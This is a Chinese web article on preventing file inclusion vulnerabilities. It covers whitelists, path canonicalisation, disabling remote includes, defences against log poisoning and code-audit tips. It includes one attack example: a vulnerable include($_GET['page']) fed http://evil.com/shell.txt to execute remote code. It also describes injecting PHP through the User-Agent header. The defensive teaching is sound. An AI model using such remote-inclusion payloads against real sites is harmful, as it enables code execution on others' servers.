您现在的位置是:热点 >>正文

防范文件包含漏洞的方法有哪些

热点1626人已围观

简介一个攻击者把恶意代码写进日志文件,再通过文件包含功能去执行它——这种攻击在现实里远比想象中常见。去年某知名CMS爆出的RCE漏洞,根源就是开发者没过滤用户输入,直接拼进了文件包含参数。 文件包含漏洞的 ...

一个攻击者把恶意代码写进日志文件,防范法再通过文件包含功能去执行它——这种攻击在现实里远比想象中常见。文件去年某知名CMS爆出的包含RCE漏洞,根源就是漏洞开发者没过滤用户输入,直接拼进了文件包含参数。防范法

文件包含漏洞的文件核心在于“用户能控制包含路径”。防范思路其实不复杂,包含但执行起来总有人偷懒。漏洞最直接的防范法办法是使用白名单。比如后台需要加载模板,文件就硬编码允许的包含文件名列表,用户传什么参数都只跟白名单比对,漏洞不在名单里直接拒绝。防范法这招能封死绝大多数利用路径穿越或伪协议的文件攻击。

但白名单不是包含万能的。有些场景确实需要动态包含,比如插件系统要加载不同模块。这时候就得靠路径校验了。别只检查“../”字符串,那太天真了。攻击者会用URL编码、双重编码甚至Unicode混淆绕过。正确做法是把用户输入规范化——先解码,再解析成绝对路径,最后确认解析结果位于允许的目录内。PHP里用realpath(),Java里用getCanonicalPath(),都是干这个的。

还有个容易被忽略的点:远程文件包含比本地文件包含危险得多。如果代码里用了include($_GET['page']),攻击者直接传个http://evil.com/shell.txt就能执行任意代码。所以要么在php.ini里把allow_url_include设为Off,要么在代码层面强制校验协议只允许本地文件。顺带说一句,现在主流框架都默认禁止远程包含,但老项目里这种写法还经常见到。

日志文件包含这种冷门攻击路径,往往被人忽视。攻击者先往User-Agent里塞PHP代码,等日志记录下来,再通过文件包含把日志文件当PHP执行。对付这种,除了上面说的白名单和路径校验,还得注意日志文件权限和存储位置,别让Web进程能读能写。另外,对写入日志的内容做过滤也很有必要,特殊字符直接转义掉。

再往深一层说,代码审计时有个经验:凡是出现include、require、file_get_contents这类函数,且参数里含有变量,就得警惕。动态包含本身是合法的编程手段,问题在于变量来源是否可信。如果变量来自$_GET、$_POST、$_COOKIE,或者来自数据库但数据库可能被注入污染,那风险就很高了。

实际加固时,还可以用WAF规则拦截包含路径中的特殊字符。但WAF只是辅助,别指望它能挡住所有变种。真正靠谱的是开发阶段就建立安全规范:所有文件包含操作集中封装到一个函数里,统一做校验和过滤,禁止在业务代码里裸写include。

最后提个实践细节:很多框架支持“模板继承”或“组件加载”,底层实现就是文件包含。用这些框架时,务必确认框架版本已修复已知的包含漏洞。2023年某个流行PHP框架就曝出过模板引擎的文件包含绕过,影响面不小。升级框架往往比改业务代码更省事,但前提是你得知道框架做了什么防护。

Tags:

相关文章

  • 匿名短信怎么追查不是虚拟号码

    热点

    运营商后台能查,但前提是你得有“正当理由”。别急着骂,先听我说完。去年有个朋友收到匿名辱骂短信,气得直接报警,结果警察调取记录时发现对方用的是虚拟号——也就是170、171开头的号码。这类号码属于虚拟 ...

    【热点】

    阅读更多
  • 赌博无漏洞

    热点

    赌场从来不怕你赢钱,怕的是你不来。这句话我是在澳门一家赌场门口听一个叠码仔说的,他叼着烟,眯着眼,语气像在讲一件再普通不过的事。 很多人以为赌博有漏洞,比如倍投法——输了就翻倍下注,只要赢一把就能回本 ...

    【热点】

    阅读更多
  • 自如官网首页

    热点

    打开自如官网首页,第一眼看到的是一个干净到近乎冷淡的界面。白色打底,绿色点缀,顶部导航栏排着“找房”“租住服务”“业主托管”几个入口。没有弹窗,没有轮播广告,也没有那种恨不得把所有房源都塞进首屏的拥挤 ...

    【热点】

    阅读更多


友情链接